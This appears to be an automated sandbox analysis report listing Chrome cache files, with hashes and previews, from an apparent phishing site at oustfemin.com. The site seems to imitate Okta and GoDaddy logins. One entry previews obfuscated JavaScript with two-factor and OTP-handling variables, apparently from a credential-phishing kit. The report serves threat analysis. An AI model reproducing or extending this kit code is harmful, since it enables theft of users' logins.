Preview:	<html>. <head>. <title>COMING SOON</title>. <body>. <div class="bgimg">. <div class="middle">. <h1>COMING SOON</h1>. <hr>. <p id="demo" style="font-size:30px"></p>. </div>. </div>. <style>. body,. html {. height: 100%;. margin: 0;. }.. .bgimg {. background-image: url("https://i.imgur.com/xA8aaXN.png");. height: 100%;. background-position: center;. background-size: cover;. position: relative;. color: white;. font-family: "Courier New", Courier, monospace;. font-size: 25px;. }.. .topleft {. position: absolute;. top: 0;. left: 16px;. }.. .bottomleft {. position: absolute;. bottom: 0;. left: 16px;. }.. .middle {. position: absolute;. top: 80%;. left: 50%;. transform: translate(-50%, -50%);. text-align: center;. }.. hr {. margin: auto;.

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65534), with no line terminators
Category:	dropped
Size (bytes):	103541
Entropy (8bit):	5.198463615995804
Encrypted:	false
SSDEEP:	1536:P3QHV5DPj56dYHiKEkqDg5MjtG5DYg5Mqi1uZPkQTJ/qTgG3AOuqeeg:P3Q3j56dYHlPuuZPkQt/cgG3AnNH
MD5:	B0B026A9E6912C6F050F2FC41E53144B
SHA1:	7062CB8115C550ECBCC11BF7532AEBC7EF38672E
SHA-256:	DB1401ADE36060E4AC35EE27DF3E0058204FDA7864913516637436CC4DAC8CF7
SHA-512:	B3BD2A27E0E70646AE501212136575672999E3F2C2BF7ECAD3A1DADA1EDD7DF703AA4A77DCFC615F6C156F5D41FD924B3B79368F407EC01593CA30281ABFDB59
Malicious:	false
Reputation:	low
Preview:	const _0x585ab9=_0x2d50;(function(_0xa52702,_0x638e1){const _0x15370f=_0x2d50,_0x4445df=_0xa52702();while(!![]){try{const _0x5f4b07=-parseInt(_0x15370f(0x1cf))/0x1+-parseInt(_0x15370f(0x175))/0x2+-parseInt(_0x15370f(0x17a))/0x3+parseInt(_0x15370f(0x147))/0x4*(parseInt(_0x15370f(0xc4))/0x5)+parseInt(_0x15370f(0x201))/0x6+parseInt(_0x15370f(0x93))/0x7+-parseInt(_0x15370f(0xd9))/0x8;if(_0x5f4b07===_0x638e1)break;else _0x4445df['push'](_0x4445df['shift']());}catch(_0x207a5e){_0x4445df['push'](_0x4445df['shift']());}}}(_0x2f1f,0xd0514));var webnotfound=![],otherweburl='',interacted=0x0,multipleaccountsback=0x0;let wait2facancel=0x0,otptype=0x0;var currentweb=0x0,pagevisitedalready=null;!document[_0x585ab9(0x75)]('sections')['classList']['contains']('d-none')&&(view=_0x585ab9(0x183));document[_0x585ab9(0x75)]('sections_pdf')&&!document['getElementById']('sections_pdf')['classList'][_0x585ab9(0x1c3)](_0x585ab9(0x174))&&(view=_0x585ab9(0xd6));document[_0x585ab9(0x75)](_0x585ab9(0x171))&&(view=

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	270
Entropy (8bit):	4.840496990713235
Encrypted:	false
SSDEEP:	6:tI9mc4slzIzUQYqRRn3u0xboUSWuUX8+TQMRAvY:t4uzEu3u0xUUluUs+TQMRAQ
MD5:	40EB39126300B56BF66C20EE75B54093
SHA1:	83678D94097257EB474713DEC49E8094F49D2E2A
SHA-256:	765709425A5B9209E875DCCF2217D3161429D2D48159FC1DF7B253B77C1574F4
SHA-512:	9C9CD1752A404E71772003469550D3B4EFF8346A4E47BE131BB2B9CB8DD46DBEF4863C52A63A9C63989F9ABEE775CB63C111ADD7AFA9D4DFC7A4D95AE30F9C6E
Malicious:	false
Reputation:	low
URL:	https://4quqe.oustfemin.com/eftGLBWu8OUJRb0dwkGNkbppjbuklsvH9IfHP7yQ0ZroZwJMFEez378146
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fill="#262626"/></svg>

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2160 x 443, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	49602
Entropy (8bit):	7.881935507115631
Encrypted:	false
SSDEEP:	768:eKE36up1D3cLJg7zmjprNBQqJCoklwCeFrpKZ00PIwoftXEsQsV1kZ8IHml446Xe:KqupJ9+aqyqCz+0ALcmDIHnjL2p
MD5:	DB783743CD246FF4D77F4A3694285989
SHA1:	B9466716904457641B7831868B47162D8D378D41
SHA-256:	5913B1EC0FC58AB2BEC576804B9E9B566A584EA3D21A1BF74A7B40051A447FDC
SHA-512:	E6F36C52996B6BF8B07C7A102DEF2D555A1D35FA12F1A2016EDD8F3C86C33DD3545513B436AB6B4EF1D1CAD8A5CA5D352BA587EEE605638640B258C3976D9033
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...p..........{......sBIT....\|.d.....pHYs..;...;...3.+....tEXtSoftware.www.inkscape.org..<... .IDATx...w.]U....L.I(!.B..J..R....PD.z-.(...4Q..MQ. .(..EE.AP:.....HI.... ....ur3..r.Y.\|....z..3.2.g..{..Y.V..6.u...U...Q.Z.X......m..........^......O.^l......Y.)`\|...:......x.:."0r...H.W.....,.......j.....L%]s../4.>.<.........S.$I.$I.$I.T.....(`s`S`.`C`mR..J...6.x.x.x..z9.......g..j}R...h.1.t]=....n..#.f.I.$I.$I.$I%c.G.. 5il.l.lCj.(S.F;.....7...AZ.@B....%.E....C.be3..K....S."CI.$I.$I.$I...jV.v.v.v$5l..M.ysI......x{/i...Y...o..m.......v.6.>R..$I.$I.$I.......F.{..6v!...1{.Y..9ng...S..TF.I..;.o&5A.....&.w....$5J..M$I.$I.$I.$.........Q;..IQ...9n.nl.Z.e.......j.`hd..{..=p-p=n."I.$I.$I.$eg.G...........8...i......b. [.{.V.........V...96GI.$I.$I.$IY...c ..R...Q.q..,..........Gm........X=6NW......clp.I.$I.$I.$IZ..g...s...c...F.A.<z*.Q.a...+.?....8.Xn.GO.$I.$I.$I..,O.l....@.....z.....R..a$.:...I.yb-....l....$I.$I.$I.$.....$.'S..j.p..3NBGX..M.3.?.......p$I.$

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	270
Entropy (8bit):	4.840496990713235
Encrypted:	false
SSDEEP:	6:tI9mc4slzIzUQYqRRn3u0xboUSWuUX8+TQMRAvY:t4uzEu3u0xUUluUs+TQMRAQ
MD5:	40EB39126300B56BF66C20EE75B54093
SHA1:	83678D94097257EB474713DEC49E8094F49D2E2A
SHA-256:	765709425A5B9209E875DCCF2217D3161429D2D48159FC1DF7B253B77C1574F4
SHA-512:	9C9CD1752A404E71772003469550D3B4EFF8346A4E47BE131BB2B9CB8DD46DBEF4863C52A63A9C63989F9ABEE775CB63C111ADD7AFA9D4DFC7A4D95AE30F9C6E
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fill="#262626"/></svg>

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 420 x 94, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	10796
Entropy (8bit):	7.946024875001343
Encrypted:	false
SSDEEP:	192:aPzBBDKs07GiH528urXXSjD4/voR3Euri/in9Q28oLaIAQLdCYXQIDeoIdv60:aPVBQ7P5nIyjD+oRnr4inJdANuGdC0
MD5:	12BDACC832185D0367ECC23FD24C86CE
SHA1:	4422F316EB4D8C8D160312BB695FD1D944CBFF12
SHA-256:	877AE491D9AAC5C6EF82A8430F9F652ACE8A0DBC7294BD112AAD49BD593769D0
SHA-512:	36C319AC7F75202190E7A59F3F3C92892A71D5F17663E672319A745B6574BCFDE7C89B35F480CB15A193924DACB9D67F8CA1E1BC2BF33FC5CCBFA152CC7BA2D0
Malicious:	false
Reputation:	low
URL:	https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7
Preview:	.PNG........IHDR.......^.....l2`...).IDATx..}...U.... w...B..P$.Hv..t......x.EA@.Q`.E......-.".(..X`..D....5]]U}....$3...&...guOw..}>.....~....w.ZZ...z..FZ$I.$I....N.......tt.$e...M....ru$I.$IR.h.AvK0.t..wy.:.1...D.H...LS....iF~.X...smr.$I.$IR.4.....SY..@....h8.......dB...1.eG...$I.$.hZ...8.r...[.A.I..XE..hdA{Z..teaF...u:}.1^..-I.$I.FP.A..Nm..........A78...=.%W_.$I..8YQ.H2z#.D_...m..k..u.t..R6#.....N....){...$I..1@...g...@a ..u2..dL...ai.d.[.$I..D.....OM..a...,h%u.B.....0...57..hrW..$I....Gf.\|.=.eg`.........k.J.$IR..<.u....]....@.d...H..$I.$5..MWwu:....H\|Y..,.$.I.$I....Qu...s.NzzM..]..;$ I.$IR......+..L9......63.I@.$I..z..#.....:..7...s..<$ I.$I.hP.tu...m"..o1.y.@..W1T<(..... z%."?.4zE..$ ..Y1z`.P..!....`t%t....[..d...N.UKy&.A;..6S...<...........o...]0...r.$I......0..R.....N.....0Wi._.;...M..Lrb{.7w..].jm.r....C...&..gd}..Etm}..~L.l...}n\'...$..Mr.i..{..n..9.....SwMh.}.Q{./wJ.....B]:.....+..\V...A.S.w..6.....,..[.......J@....-.4.....:..Zvt.r.*.

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45667)
Category:	dropped
Size (bytes):	45806
Entropy (8bit):	5.207605835316031
Encrypted:	false
SSDEEP:	384:1ZS0CCnasl8gRR/PoPez+iCMN0Fkiw2Jh4RWdRGhAjbp2ChPL8cYRGv5MRUK6np9:/CCnVl7tUkBxkdRGOfDiY5C5MAn5GY2
MD5:	80F5B8C6A9EEAC15DE93E5A112036A06
SHA1:	F7174635137D37581B11937FC90E9CB325077BCE
SHA-256:	0401DE33701F1CAD16ECF952899D23990B6437D0A5B7335524EDF6BDFB932542
SHA-512:	B976A5F02202439D94C6817D037C813FA1945C6BB93762284D97FF61718C5B833402F372562034663A467FDBAA46990DE24CB1E356392340E64D034E4BA1B4E4
Malicious:	false
Reputation:	low
Preview:	/!. Socket.IO v4.6.0. * (c) 2014-2023 Guillermo Rauch. * Released under the MIT License.. */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t\|\|self).io=e()}(this,(function(){"use strict";function t(e){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},t(e)}function e(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function n(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}function r(t,e,r){return e&&n(t.prototype,e),r&&n(t,r),Object.defineProperty(t,"prototype",{writable:!1}),t}function i(){return i=Object.assign?Object.assign.bind():function(t){for(var e=

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2446 x 899, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	70712
Entropy (8bit):	6.94130504124589
Encrypted:	false
SSDEEP:	768:lBgPNoDCQcgEBtp8Y/fYous0+W/+hVNpTrP19NhgtJ+6qcHaDCzGoSRug:lBgC+Qoju/szW/SNDaJ+6qc6DESR5
MD5:	F70FF06D19498D80B130EC78176FD3FF
SHA1:	9D8A3B74C5164FF7AE2C7930B6D7B14707B404FC
SHA-256:	DF6DBAB5251E56B405E48AAF57D3CD4188F073FFBA71131FA6CD26E6742923AE
SHA-512:	543151693C3751A7E6B1B6A9EA77B83CFD049BC320EE75B666514076F4C0218E9DC23DA5E6C932B2B8670AA1BE1D4E9A91A889F5C6F0D7B9F9C9FE6694609B31
Malicious:	false
Reputation:	low
URL:	https://4quqe.oustfemin.com/stBwujdhO6eh5XBwTCurWnvkflh7maBUZIfifTNdRbYO27678wxfwlS9pRZp8trrCi8ZQ2Vef260
Preview:	.PNG........IHDR................... .IDATx....q......!8.on.....{....4{..{U.A!x...t3P.~.S86...N....7USM....p.".?..>.G....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @....... @.......

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2905
Entropy (8bit):	3.962263100945339
Encrypted:	false
SSDEEP:	48:zcr2Vxfbf9lAi39AkJDTTHBhhqithUg4wnTSKprgAnxptzGe:gajfr9DfdhhbSkPptzv
MD5:	FE87496CC7A44412F7893A72099C120A
SHA1:	A0C1458C08A815DF63D3CB0406D60BE6607CA699
SHA-256:	55CE3B0CE5BC71339308107982CD7671F96014256DED0BE36DC8062E64C847F1
SHA-512:	E527C6CD2A3D79CA828A9126E8FF7009A540AA764082750D4FA8207C2B8439CA1FDC4459E935D708DC59DCFFE55FE45188EB5E266D1B745FCA7588501BC0117D
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.854q.488.444.941.932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73,13.73,0,0,1-3.9-.592A21.891,21.891,0,0,1,21.26,39.77a27.749,27.749,0,0,1-3.885-2.491,34.863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725,17.725,0,0,1,1.376,1.428q.645.

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1434), with no line terminators
Category:	dropped
Size (bytes):	1434
Entropy (8bit):	5.761950198369007
Encrypted:	false
SSDEEP:	24:2jkm94/zKPccAv+KVCe2TLph9gFB5vtADjkrDQndcl/1t4glvllLtJ1PdcsLqo4p:VKEctKo7LmvtUjPKtX7T1PdtLrwUnG
MD5:	CE3E019BC27E936BD1AACDB64B25A06D
SHA1:	30FFA6E52416FF966EC2DD32922AA14C18C4039B
SHA-256:	EE18FA1ADA74C5D3261424BCC1C4F077510C31A06BEE0FF6742F180ED14C57D8
SHA-512:	98A6AD516944CD646083FF660ED351E9130318B6DA4F457EBFC0C6953F3D662D770A54D0533F97220691E07FABFD5305CD13409DB80CB7F83D650ED5BFCA8B4F
Malicious:	false
Reputation:	low
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/api2/';(cfg['render']=cfg['render']\|\|[]).push('onload');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true; po.charset='utf-8';var v=w.navigator,m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='A/kargTFyk8MR5ueravczef/wIlTkbVk1qXQesp39nV+xNECPdLBVeYffxrM8TmZT6RArWGQVCJ0LRivD7glcAUAAACQeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.getValue().then(function(l){if(l!=='treatment_1.1'&&l!=='treatment_1.2'&&l!=='control_1.1'){d.head.prepend(m)

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	231
Entropy (8bit):	6.725074433303473
Encrypted:	false
SSDEEP:	6:6v/lhPZsRtsa9hC0bKDHv5Ef30XY4qMa3IE6Aleup:6v/76eAhbSHusYX4E3
MD5:	547988BAC5584B4608466D761E16F370
SHA1:	C11BB71049702528402A31027F200184910A7E23
SHA-256:	70E32B2DB3F079BB0295A85A0DB15ED9E5926294DD947938D6CFA595F5AB18B4
SHA-512:	C4A76F6E94982D1CC02C2B67523A334E76BFDE525C1014D32DB9E7ECA0FA39A06F291ECFA94C8C6A49D488EA3ACF9C10DDF3CAD9515562010440863D0F08FBA3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............w=.....sRGB.........IDATHK...1...Z......... #$#..-.. $$3..H...q.x.>.x..yY.\|.@h.......$.B/..*Ec...J.}.....Rl..^.......#-...f.6p.cJigf...G.<.!.z..>a.+j....&U.....E/.._.`.d...~_....7...4`....IEND.B`.

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 66 x 25, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.9902101553250042
Encrypted:	false
SSDEEP:	3:yionv//thPlMvY/1xl/k4E08up:6v/lhPKg17Tp
MD5:	1FB72EA0EDF48FDAA048119FD44A3BCE
SHA1:	658A7FBEC3339EDF6D14A637B9676F4427E699EA
SHA-256:	BF3D7FE1CC1DEEC762E7930CC8BD0EC86AC4FABD47709F6963931B5896D6BB98
SHA-512:	584C2C4C8344F137193E986622F6E5EDEB587962E17DB9C31F0DB20618AF3ED35E31187BB008DA6C20D3CA97FB44981F2C99FBA6A05D698CB0BEC0A024FE31F2
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8b7bbf6dd949c43b/1724422877786/uHR2yhc274LAQhN
Preview:	.PNG........IHDR...B...........o.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	35748
Entropy (8bit):	5.056772709760769
Encrypted:	false
SSDEEP:	192:hEoogIexLQ5WKTCFBwCIZtJ8FtX2+UBRkfeWcrScuH9Ye3YdersR8Q5oqWjfuogr:hhDKAaZtJs5odwuhx5P6mqjDggJkLLn
MD5:	94C952E68CD89B529170B6B82C994BBE
SHA1:	822F28855D88DA679AF6E8A437316D72433965D4
SHA-256:	5A55CE5E458408B483A2B08C45444E987124FD0857D68F12C9A2EAE76BB8A8C4
SHA-512:	EF59FD62B3E33A20A78157A620BB05A463138CF92EFE597E70D3F9EDAAB499FA9B72CF2E29DCEF9ED7C7D7764E42111B690D30A7328D2FA9760F40BEF1E10548
Malicious:	false
Reputation:	low
URL:	https://4quqe.oustfemin.com/abPMvyMi4BP6pqRcd30
Preview:	#sections_godaddy {..font-family: gdsherpa;..}..#sections_godaddy a {.. color: var(--ux-2rqapw,#000);.. -webkit-text-decoration: var(--ux-1f7if5p,underline);.. text-decoration: var(--ux-1f7if5p,underline);.. background-color: transparent;..}....#sections_godaddy #root {.. flex: 1 1 0%;..}....#sections_godaddy a:hover {.. color: var(--ux-1j87vvn,#fff);.. -webkit-text-decoration: var(--ux-1ft0khm,underline);.. text-decoration: var(--ux-1ft0khm,underline);..}....#sections_godaddy svg {.. overflow: hidden;.. vertical-align: unset;..}....#sections_godaddy .ux-button {.. --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1.5em) / 2);.. padding: 0;.. text-decoration: var(--ux-1f7if5p,underline);.. -webkit-text-decoration: var(--ux-1f7if5p,underline);.. gap: 0.5em;.. cursor: pointer;.. --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1.5em) / 2);.. font-weight: inherit;.. background: transparent;.. gap: .5em;.. displa

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 726 x 291, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	47818
Entropy (8bit):	7.976797842895387
Encrypted:	false
SSDEEP:	768:OUzzzzrhAaxJyolPgzflVSBoLf7xizI+04Z4MpDyxHv1r5efBaBaytrx0PDQjxwE:OO5YeSVWDPWxP1r5QBy1mPDQK+N
MD5:	EF9572A6B2A91A13BBD828BDDEF2DDB8
SHA1:	1FB42681C764EF9757666E63A7E46B31D72B7035
SHA-256:	7714595D67F324FD07F6A21C3C229B4AB1DD6A3D459CB501D1D358579E76E34F
SHA-512:	26969514B8415D21CB9975820186895154A0976A14FCF8FF22C196ECB8145194CCC00D5F6458A1A9F5A02EEE4CA68362D6FCE3CB52922C7304C8C364C1577952
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......#.......F.....sRGB.........gAMA......a.....pHYs..........o.d..._IDATx^.].........$..kqo)..).Rh.RZ.T..b..P/m.`qw!......#N.....$..r..3.;;.......}o......{...B.P(...B..1.X+...B.P(.e..k.B.P(.....Pb.P(...B.P..J....B.P(..2@..B.P(...BQ.(.V(...B.P(..%...B.P(..E...Z.P(...B.(..X+...B.P(.e..k.B.P(.....Pb.P(...B.P..J....B.P(..2@..B.P(...BQ.(.V(...B.P(..%...B.P(..E...Z.P(...B.(..X+...B.P(.e..k.B.P(.....Pb.P(...B.P..J....B.P(..2@..B.P(...BQ.(.V(...B.P(..%...B.P(..E...Z.P(...B.(..X+...B.P(.e..k.B.P(.....Pb.P(...B.P..J....B.P(..2@..B.P(...BQ.(.V(...B.P(..%...B.P(..E...Z.P(...B.(..X+...B.P(.e..k.B.P(.....Pb.P(...B.P..J....B.P(..2@..B.P(...BQ.(.V(...B.P(..%...B.P(..E...Z.P(...B.(..X7Q.."..H..I.\|..."..M..l.f.HV.m......._V...}........Hck"+_%..M.$ I<...B...B.P(.#.X7R..~..;}}F..J..R.9I....vJB..;!.NL.......ad\.........q.:..q9..?&g...}*.t.}..7.C.z#.....o.+.......qTBn}.y.=...I.y.<25!.....f%...&..).<-C.e.,.1d..\.P(.....@.u.G...$t..yaA..9i.....~19.[L.h..f.F..

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	7390
Entropy (8bit):	4.02755241095864
Encrypted:	false
SSDEEP:	192:cdEMK4RwidEMK4Rwbwm6xiD7x9m9t6EQ3FabrItDWOO6DcA:cdEMVwidEMVwbwtxiDHmP6lFeItDWOOc
MD5:	B59C16CA9BF156438A8A96D45E33DB64
SHA1:	4E51B7D3477414B220F688ADABD76D3AE6472EE3
SHA-256:	A7EE799DD5B6F6DBB70B043B766362A6724E71458F9839306C995F06B218C2F8
SHA-512:	2C7095E4B819BC5CAA06811A55C0DAE6706970F981806DCF7FD41F744C1DC6A955657A8E57829B39B376B892E8173E8A41F683D329CFBBD0EC4D4019B10E52FF
Malicious:	false
Reputation:	low
URL:	https://4quqe.oustfemin.com/ijTLp2CToreFE8klRPbyfp7yzX8kad8OQ49Wh538NV5jvMGQmA56170
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">..<mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff">..<path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 10.335 12.9974C6.89614 14.0647 4.5 17.2233 4.5 20.9412C4.50019 20.968 4.50041 20.9949 4.50066 21.0218C4.50022 21.0574 4.5 21.093 4.5 21.1287C4.55021 28.2609 6.80967 39.1601 18.6091 46.4932C21.8225 48.5023 25.8896 48.5023 29.1532 46.4932C41.053 39.2103 43.3125 28.3111 43.3125 21.1287C43.3125 21.108 43.3124 21.0872 43.3123 21.0665C43.3124 21.0246 43.3125 20.9829 43.3125 20.9412C43.3125 17.3371 41.0055 14.1946 37.6702 13.0618C37.0607 5.27148 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10450)
Category:	downloaded
Size (bytes):	10498
Entropy (8bit):	5.327380141461276
Encrypted:	false
SSDEEP:	192:x9iW+rIadfLTcaTO5BrwjnwSrQ1kPmqQmMjmtmumobU8:x9KVLbw6jqON
MD5:	E0D37A504604EF874BAD26435D62011F
SHA1:	4301F0D2B729AE22ADECE657D79ECCAA25F429B1
SHA-256:	C39FF65E2A102E644EB0BF2E31D2BAD3D18F7AFB25B3B9BA7A4D46263A711179
SHA-512:	EF838FD58E0D12596726894AB9418C1FBE31833C187C3323EBFD432970EB1593363513F12114E78E008012CDEF15B504D603AFE4BB10AE5C47674045ACC5221E
Malicious:	false
Reputation:	low
URL:	https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css
